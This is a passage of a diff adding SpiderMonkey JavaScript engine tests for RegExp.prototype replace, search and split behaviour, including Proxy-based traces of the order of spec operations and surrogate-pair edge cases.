+lastIndexExpected = [ 0, 3, 5, 5, 9, 10, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "-_XYZ_-_XYZ_-_XYZ_\uD83D_XYZ_\uDC38_XYZ_---\uD83D");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global with captures and substitutions.
+reset();
+execResult = [ P(["bc", "b", "c"], 1), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "[$&,$`,$',$1,$2,$3,$]");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a[bc,a,AbcABC,b,c,$3,$]AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2],get:result[groups],");
+
+// Trace global with empty match and captures and substitutions,
+// with different matched.
+reset();
+execResult = [ P(["", "b", "c"], 1, "BC"), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "[$&,$`,$',$1,$2,$3,$]");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a[BC,a,AbcABC,b,c,$3,$]AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2],get:result[groups],");
+
+// Trace global with empty match and captures and function,
+// with different matched.
+reset();
+execResult = [ P(["", "b", "c"], 1, "BC"), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+function replaceFunc(...args) {
+ log += "call:replaceFunc,";
+ assertEq(args.length, 5);
+ assertEq(args[0], "BC");
+ assertEq(args[1], "b");
+ assertEq(args[2], "c");
+ assertEq(args[3], 1);
+ assertEq(args[4], target);
+ return "_ret_";
+}
+// This also tests RegExpStatics save/restore with no match.
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, replaceFunc);
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_ret_AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index]," +
+ "get:result[1],get:result[2],get:result[groups]," +
+ "call:replaceFunc,");
+
+// Trace global with non-empty match, move backwards.
+// 2nd match shouldn't be replaced.
+reset();
+execResult = [ P(["X"], 5), P(["YZ"], 1), null ];
+lastIndexResult = [ , , , ];
+lastIndexExpected = [ 0, , , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAb_XYZ_ABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups]," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global with non-empty match, position + matchLength overflows.
+reset();
+execResult = [ P(["fooooooo"], 7), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAbcA_XYZ_");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global with non-empty match, position overflows.
+reset();
+execResult = [ P(["fooooooo"], 12), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "abcAbcABC_XYZ_");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace non-global.
+reset();
+global = false;
+execResult = [ P(["bc"], 1) ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+stopObserve();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-twoBytes.js b/js/src/tests/non262/RegExp/replace-twoBytes.js
new file mode 100644
index 0000000000..660677c9f1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-twoBytes.js
@@ -0,0 +1,44 @@
+var BUGNUMBER = 1269719;
+var summary = "RegExp.prototype[@@replace] should check latin1/twoBytes for all strings used in relate operation.";
+
+print(BUGNUMBER + ": " + summary);
+
+var ans = [
+ "[AB$2$3$]",
+ "[AB$2$3$]\u3048",
+ "[AB$2$3$]",
+ "[AB$2$3$]\u3048",
+ "[A\u3044$2$3$]",
+ "[A\u3044$2$3$]\u3048",
+ "[A\u3044$2$3$]",
+ "[A\u3044$2$3$]\u3048",
+ "[\u3042B$2$3$]",
+ "[\u3042B$2$3$]\u3048",
+ "[\u3042B$2$3$]",
+ "[\u3042B$2$3$]\u3048",
+ "[\u3042\u3044$2$3$]",
+ "[\u3042\u3044$2$3$]\u3048",
+ "[\u3042\u3044$2$3$]",
+ "[\u3042\u3044$2$3$]\u3048",
+];
+var i = 0;
+for (var matched of ["A", "\u3042"]) {
+ for (var group1 of ["B", "\u3044"]) {
+ for (var string of ["C", "\u3046"]) {
+ for (var replacement of ["[$&$`$'$1$2$3$]", "[$&$`$'$1$2$3$]\u3048"]) {
+ var myRegExp = {
+ get exec() {
+ return function() {
+ return [matched, group1];
+ };
+ }
+ };
+ assertEq(RegExp.prototype[Symbol.replace].call(myRegExp, string, replacement), ans[i]);
+ i++;
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace.js b/js/src/tests/non262/RegExp/replace.js
new file mode 100644
index 0000000000..43522ab551
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace.js
@@ -0,0 +1,34 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@replace].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.replace].name, "[Symbol.replace]");
+assertEq(RegExp.prototype[Symbol.replace].length, 2);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.replace);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /a/;
+var v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "XbcAbcABC");
+
+re = /d/;
+v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "abcAbcABC");
+
+re = /a/ig;
+v = re[Symbol.replace]("abcAbcABC", "X");
+assertEq(v, "XbcXbcXBC");
+
+re = /(a)(b)(cd)/;
+v = re[Symbol.replace]("012abcd345", "_$$_$&_$`_$'_$0_$1_$2_$3_$4_$+_$");
+assertEq(v, "012_$_abcd_012_345_$0_a_b_cd_$4_cd_$345");
+
+re = /(a)(b)(cd)/;
+v = re[Symbol.replace]("012abcd345", "_\u3042_$$_$&_$`_$'_$0_$1_$2_$3_$4_$+_$");
+assertEq(v, "012_\u3042_$_abcd_012_345_$0_a_b_cd_$4_cd_$345");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/search-this.js b/js/src/tests/non262/RegExp/search-this.js
new file mode 100644
index 0000000000..731f5480fa
--- /dev/null
+++ b/js/src/tests/non262/RegExp/search-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@search] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.search].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/search-trace.js b/js/src/tests/non262/RegExp/search-trace.js
new file mode 100644
index 0000000000..fc6bee754c
--- /dev/null
+++ b/js/src/tests/non262/RegExp/search-trace.js
@@ -0,0 +1,78 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@search] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+function P(index) {
+ return new Proxy({ index }, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+}
+
+// Trace hit.
+reset();
+execResult = [ P(16) ];
+lastIndexResult = [ 10, , ];
+lastIndexExpected = [ 0, 10 ];
+var ret = RegExp.prototype[Symbol.search].call(myRegExp, target);
+assertEq(ret, 16);
+assertEq(log,
+ "get:lastIndex," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:lastIndex," +
+ "set:lastIndex," +
+ "get:result[index],");
+
+// Trace not hit.
+reset();
+execResult = [ null ];
+lastIndexResult = [ 10, , ];
+lastIndexExpected = [ 0, 10 ];
+ret = RegExp.prototype[Symbol.search].call(myRegExp, target);
+assertEq(ret, -1);
+assertEq(log,
+ "get:lastIndex," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:lastIndex," +
+ "set:lastIndex,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/search.js b/js/src/tests/non262/RegExp/search.js
new file mode 100644
index 0000000000..0875ee47ed
--- /dev/null
+++ b/js/src/tests/non262/RegExp/search.js
@@ -0,0 +1,26 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@search].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.search].name, "[Symbol.search]");
+assertEq(RegExp.prototype[Symbol.search].length, 1);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.search);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /B/;
+var v = re[Symbol.search]("abcAbcABC");
+assertEq(v, 7);
+
+re = /B/i;
+v = re[Symbol.search]("abcAbcABCD");
+assertEq(v, 1);
+
+re = /d/;
+v = re[Symbol.search]("abcAbcABCD");
+assertEq(v, -1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/shell.js b/js/src/tests/non262/RegExp/shell.js
new file mode 100644
index 0000000000..8d52ad35df
--- /dev/null
+++ b/js/src/tests/non262/RegExp/shell.js
@@ -0,0 +1,256 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 February 2001
+ *
+ * Functionality common to RegExp testing -
+ */
+//-----------------------------------------------------------------------------
+
+(function(global) {
+
+ var MSG_PATTERN = '\nregexp = ';
+ var MSG_STRING = '\nstring = ';
+ var MSG_EXPECT = '\nExpect: ';
+ var MSG_ACTUAL = '\nActual: ';
+ var ERR_LENGTH = '\nERROR !!! match arrays have different lengths:';
+ var ERR_MATCH = '\nERROR !!! regexp failed to give expected match array:';
+ var ERR_NO_MATCH = '\nERROR !!! regexp FAILED to match anything !!!';
+ var ERR_UNEXP_MATCH = '\nERROR !!! regexp MATCHED when we expected it to fail !!!';
+ var CHAR_LBRACKET = '[';
+ var CHAR_RBRACKET = ']';
+ var CHAR_QT_DBL = '"';
+ var CHAR_QT = "'";
+ var CHAR_NL = '\n';
+ var CHAR_COMMA = ',';
+ var CHAR_SPACE = ' ';
+ var TYPE_STRING = typeof 'abc';
+
+
+
+ global.testRegExp = function testRegExp(statuses, patterns, strings, actualmatches, expectedmatches)
+ {
+ var status = '';
+ var pattern = new RegExp();
+ var string = '';
+ var actualmatch = new Array();
+ var expectedmatch = new Array();
+ var state = '';
+ var lActual = -1;
+ var lExpect = -1;
+
+
+ for (var i=0; i != patterns.length; i++)
+ {
+ status = statuses[i];
+ pattern = patterns[i];
+ string = strings[i];
+ actualmatch=actualmatches[i];
+ expectedmatch=expectedmatches[i];
+ state = getState(status, pattern, string);
+
+ description = status;
+
+ if(actualmatch)
+ {
+ actual = formatArray(actualmatch);
+ if(expectedmatch)
+ {
+ // expectedmatch and actualmatch are arrays -
+ lExpect = expectedmatch.length;
+ lActual = actualmatch.length;
+
+ var expected = formatArray(expectedmatch);
+
+ if (lActual != lExpect)
+ {
+ reportCompare(lExpect, lActual,
+ state + ERR_LENGTH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ continue;
+ }
+
+ // OK, the arrays have same length -
+ if (expected != actual)
+ {
+ reportCompare(expected, actual,
+ state + ERR_MATCH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+ else
+ {
+ reportCompare(expected, actual, state)
+ }
+
+ }
+ else //expectedmatch is null - that is, we did not expect a match -
+ {
+ expected = expectedmatch;
+ reportCompare(expected, actual,
+ state + ERR_UNEXP_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+
+ }
+ else // actualmatch is null
+ {
+ if (expectedmatch)
+ {
+ actual = actualmatch;
+ reportCompare(expected, actual,
+ state + ERR_NO_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actualmatch +
+ CHAR_NL
+ );
+ }
+ else // we did not expect a match
+ {
+ // Being ultra-cautious. Presumably expectedmatch===actualmatch===null
+ expected = expectedmatch;
+ actual = actualmatch;
+ reportCompare (expectedmatch, actualmatch, state);
+ }
+ }
+ }
+ }
+
+ function getState(status, pattern, string)
+ {
+ /*
+ * Escape \n's, etc. to make them LITERAL in the presentation string.
+ * We don't have to worry about this in |pattern|; such escaping is
+ * done automatically by pattern.toString(), invoked implicitly below.
+ *
+ * One would like to simply do: string = string.replace(/(\s)/g, '\$1').
+ * However, the backreference $1 is not a literal string value,
+ * so this method doesn't work.
+ *
+ * Also tried string = string.replace(/(\s)/g, escape('$1'));
+ * but this just inserts the escape of the literal '$1', i.e. '%241'.
+ */
+ string = string.replace(/\n/g, '\\n');
+ string = string.replace(/\r/g, '\\r');
+ string = string.replace(/\t/g, '\\t');
+ string = string.replace(/\v/g, '\\v');
+ string = string.replace(/\f/g, '\\f');
+
+ return (status + MSG_PATTERN + pattern + MSG_STRING + singleQuote(string));
+ }
+
+
+
+ /*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+ function formatArray(arr)
+ {
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+ }
+
+
+ /*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+ function toSource(arr)
+ {
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+ }
+
+
+ function doubleQuote(text)
+ {
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+ }
+
+
+ function singleQuote(text)
+ {
+ return CHAR_QT + text + CHAR_QT;
+ }
+
+ global.makeExpectedMatch = function makeExpectedMatch(arr, index, input) {
+ var expectedMatch = {
+ index: index,
+ input: input,
+ length: arr.length,
+ };
+
+ for (var i = 0; i < arr.length; ++i)
+ expectedMatch[i] = arr[i];
+
+ return expectedMatch;
+ }
+
+ global.checkRegExpMatch = function checkRegExpMatch(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (var i = 0; i < actual.length; ++i)
+ assertEq(actual[i], expected[i]);
+
+ assertEq(actual.index, expected.index);
+ assertEq(actual.input, expected.input);
+ }
+
+})(this);
diff --git a/js/src/tests/non262/RegExp/source.js b/js/src/tests/non262/RegExp/source.js
new file mode 100644
index 0000000000..354a9d19de
--- /dev/null
+++ b/js/src/tests/non262/RegExp/source.js
@@ -0,0 +1,29 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.source";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.source, "(?:)");
+assertEq(/foo/.source, "foo");
+assertEq(/foo/iymg.source, "foo");
+assertEq(/\//.source, "\\/");
+assertEq(/\n\r/.source, "\\n\\r");
+assertEq(/\u2028\u2029/.source, "\\u2028\\u2029");
+assertEq(RegExp("").source, "(?:)");
+assertEq(RegExp("", "mygi").source, "(?:)");
+assertEq(RegExp("/").source, "\\/");
+assertEq(RegExp("\n\r").source, "\\n\\r");
+assertEq(RegExp("\u2028\u2029").source, "\\u2028\\u2029");
+
+assertThrowsInstanceOf(() => genericSource(), TypeError);
+assertThrowsInstanceOf(() => genericSource(1), TypeError);
+assertThrowsInstanceOf(() => genericSource(""), TypeError);
+assertThrowsInstanceOf(() => genericSource({}), TypeError);
+assertThrowsInstanceOf(() => genericSource(new Proxy(/foo/, {get(){ return true; }})), TypeError);
+
+function genericSource(obj) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype, "source").get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-deleted-flags.js b/js/src/tests/non262/RegExp/split-deleted-flags.js
new file mode 100644
index 0000000000..d2ccc852d1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-deleted-flags.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1322319;
+var summary = "RegExp.prototype.split should throw if RegRxp.prototype.flags is deleted."
+
+print(BUGNUMBER + ": " + summary);
+
+delete RegExp.prototype.flags;
+
+assertThrowsInstanceOf(() => "aaaaa".split(/a/), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-flags-on-obj.js b/js/src/tests/non262/RegExp/split-flags-on-obj.js
new file mode 100644
index 0000000000..8c68efed57
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-flags-on-obj.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 0;
+var summary = "RegExp.prototype.split should reflect the change to Object.prototype.flags.";
+
+print(BUGNUMBER + ": " + summary);
+
+Object.defineProperty(Object.prototype, "flags", Object.getOwnPropertyDescriptor(RegExp.prototype, "flags"));
+delete RegExp.prototype.flags;
+
+let re = /a/i;
+let a = re[Symbol.split]("1a2A3a4A5");
+assertDeepEq(a, ["1", "2", "3", "4", "5"]);
+
+delete Object.prototype.flags;
+
+Object.prototype.flags = "";
+
+a = re[Symbol.split]("1a2A3a4A5");
+assertDeepEq(a, ["1", "2A3", "4A5"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-invalid-lastIndex.js b/js/src/tests/non262/RegExp/split-invalid-lastIndex.js
new file mode 100644
index 0000000000..3def559ad0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-invalid-lastIndex.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1263851;
+var summary = "RegExp.prototype[@@split] should handle if lastIndex is out of bound.";
+
+print(BUGNUMBER + ": " + summary);
+
+var myRegExp = {
+ get constructor() {
+ return {
+ get [Symbol.species]() {
+ return function() {
+ return {
+ get lastIndex() {
+ return 9;
+ },
+ set lastIndex(v) {},
+ exec() {
+ return [];
+ }
+ };
+ };
+ }
+ };
+ }
+};
+var result = RegExp.prototype[Symbol.split].call(myRegExp, "abcde");;
+assertEq(result.length, 2);
+assertEq(result[0], "");
+assertEq(result[1], "");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-limit.js b/js/src/tests/non262/RegExp/split-limit.js
new file mode 100644
index 0000000000..5fa194b90b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-limit.js
@@ -0,0 +1,14 @@
+var BUGNUMBER = 1287525;
+var summary = "RegExp.prototype[@@split] shouldn't use optimized path if limit is not number.";
+
+print(BUGNUMBER + ": " + summary);
+
+var rx = /a/;
+var r = rx[Symbol.split]("abba", {valueOf() {
+ RegExp.prototype.exec = () => null;
+ return 100;
+}});
+assertEq(r.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-obj.js b/js/src/tests/non262/RegExp/split-obj.js
new file mode 100644
index 0000000000..75c09f38d1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-obj.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@split] should check if this value is RegExp.";
+
+print(BUGNUMBER + ": " + summary);
+
+var obj = { flags: "", toString: () => "-" };
+assertDeepEq(RegExp.prototype[Symbol.split].call(obj, "a-b-c"),
+ ["a", "b", "c"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/RegExp/split-prop-access.js b/js/src/tests/non262/RegExp/split-prop-access.js
new file mode 100644
index 0000000000..73c5bebb31
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-prop-access.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 1287525;
+var summary = 'String.prototype.split should call ToUint32(limit) before ToString(separator).';
+
+print(BUGNUMBER + ": " + summary);
+
+var accessed = false;
+
+var rx = /a/;
+Object.defineProperty(rx, Symbol.match, {
+ get() {
+ accessed = true;
+ }
+});
+rx[Symbol.split]("abba");
+
+assertEq(accessed, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-this.js b/js/src/tests/non262/RegExp/split-this.js
new file mode 100644
index 0000000000..ece29fe8a2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@split] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.split].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-trace.js b/js/src/tests/non262/RegExp/split-trace.js
new file mode 100644
index 0000000000..fe7fe95981
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-trace.js
@@ -0,0 +1,229 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@split] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var flags;
+var expectedFlags;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+var arraySetterObserved = false;
+function startObserve() {
+ for (var i = 0; i < 10; i++) {
+ Object.defineProperty(Array.prototype, i, {
+ set: function(v) {
+ arraySetterObserved = true;
+ },
+ configurable: true,
+ });
+ }
+}
+function stopObserve() {
+ for (var i = 0; i < 10; i++)
+ delete Array.prototype[i]
+}
+
+startObserve();
+
+function P(A) {
+ return new Proxy(A, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get constructor() {
+ log += "get:constructor,";
+ return {
+ get [Symbol.species]() {
+ log += "get:species,";
+ return function(pattern, flags) {
+ assertEq(pattern, myRegExp);
+ assertEq(flags, expectedFlags);
+ log += "call:constructor,";
+ return {
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get flags() {
+ log += "get:flags,";
+ return flags;
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+ };
+ };
+ }
+ };
+ },
+ get flags() {
+ log += "get:flags,";
+ return flags;
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcde";
+ flags = "";
+ expectedFlags = "y";
+ arraySetterObserved = false;
+}
+
+// Trace match and no match.
+reset();
+execResult = [ null, P(["b"]), null, P(["d"]), null ];
+lastIndexResult = [ , , 2, , 4, , ];
+lastIndexExpected = [ 0, 1, 2, 3, 4, ];
+var ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["a","c","e"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace non-empty flags, empty target, no match.
+reset();
+flags = "iy";
+expectedFlags = "iy";
+target = "";
+execResult = [ null ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `[""]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "get:exec,call:exec,");
+
+// Trace empty target, match.
+reset();
+target = "";
+execResult = [ P([""]) ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `[]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "get:exec,call:exec,");
+
+// Trace captures.
+reset();
+target = "abc";
+execResult = [ null, P(["b", "X", "YZ"]), null ];
+lastIndexResult = [ , , 2, , ];
+lastIndexExpected = [ 0, 1, 2, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["a","X","YZ","c"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1],get:result[2]," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace unicode.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+flags = "u";
+expectedFlags = "uy";
+target = "-\uD83D\uDC38\uDC38\uD83D";
+execResult = [ null, null, null, null ];
+lastIndexResult = [ , , , , , ];
